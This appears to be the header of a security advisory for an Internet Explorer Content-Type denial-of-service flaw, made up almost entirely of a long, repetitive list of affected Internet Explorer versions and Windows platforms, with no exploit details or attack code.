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Microsoft Internet Explorer Content−Type Denial Of Service Vulnerability

−\Vulnerable:
Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 98
− Microsoft Windows 98
− Microsoft Windows 98SE
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− Microsoft Windows 98SE
− Microsoft Windows ME
− Microsoft Windows ME
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition 64−bit
+ Microsoft Windows Server 2003 Datacenter Edition 64−bit
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition 64−bit
+ Microsoft Windows Server 2003 Enterprise Edition 64−bit
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Web Edition
+ Microsoft Windows Server 2003 Web Edition
+ Microsoft Windows XP Home
+ Microsoft Windows XP Home
+ Microsoft Windows XP Professional
+ Microsoft Windows XP Professional
Microsoft Internet Explorer 5.5 SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
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− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
− Microsoft Windows 98SE
− Microsoft Windows 98SE
− Microsoft Windows ME
− Microsoft Windows ME
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Server 4.0
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− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0
− Microsoft Windows NT Workstation 4.0
Microsoft Internet Explorer 5.5 SP1
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
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− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Server 4.0
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− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0
− Microsoft Windows NT Workstation 4.0
Microsoft Internet Explorer 5.5
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
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− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
+ Microsoft Windows ME
+ Microsoft Windows ME
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0 SP1
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− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0
− Microsoft Windows NT Workstation 4.0
Microsoft Internet Explorer 5.0.1 SP4
− Microsoft Windows 2000 Advanced Server SP4
− Microsoft Windows 2000 Datacenter Server SP4
− Microsoft Windows 2000 Professional SP4
− Microsoft Windows 2000 Server SP4
Microsoft Internet Explorer 5.0.1 SP3
Microsoft Internet Explorer 5.0.1 SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
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− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP4
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− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0
− Microsoft Windows NT Workstation 4.0
Microsoft Internet Explorer 5.0.1 SP1
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
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− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP2
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0 SP1
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Enterprise Server 4.0
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP4
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− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP2
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0 SP1
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Server 4.0
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP2
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0 SP1
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Terminal Server 4.0
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP2
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0 SP1
− Microsoft Windows NT Workstation 4.0
− Microsoft Windows NT Workstation 4.0
Microsoft Internet Explorer 5.0.1
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP2
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server SP1
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Advanced Server
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP2
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server SP1
− Microsoft Windows 2000 Datacenter Server
− Microsoft Windows 2000 Datacenter Server
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− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP2
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server SP1
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Server
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP2
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services SP1
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 2000 Terminal Services
− Microsoft Windows 95
− Microsoft Windows 95
− Microsoft Windows 98
− Microsoft Windows 98
− Microsoft Windows 98SE
− Microsoft Windows 98SE
+ Microsoft Windows ME
− Microsoft Windows NT 4.0 SP6a
− Microsoft Windows NT 4.0 SP6
− Microsoft Windows NT 4.0 SP5
− Microsoft Windows NT 4.0 SP4
− Microsoft Windows NT 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6a
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP6
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP5
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP4
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Enterprise Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6a
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP6
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP5
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP4
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP6
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− Microsoft Windows NT Terminal Server 4.0 SP6
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP5
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP4
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Terminal Server 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6a
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP6
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP5
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP4
− Microsoft Windows NT Workstation 4.0 SP3
− Microsoft Windows NT Workstation 4.0 SP3
Microsoft Internet Explorer 5.0.1
Microsoft Internet Explorer 5.0
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP2
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional SP1
− Microsoft Windows 2000 Professional
− Microsoft Windows 2000 Professional
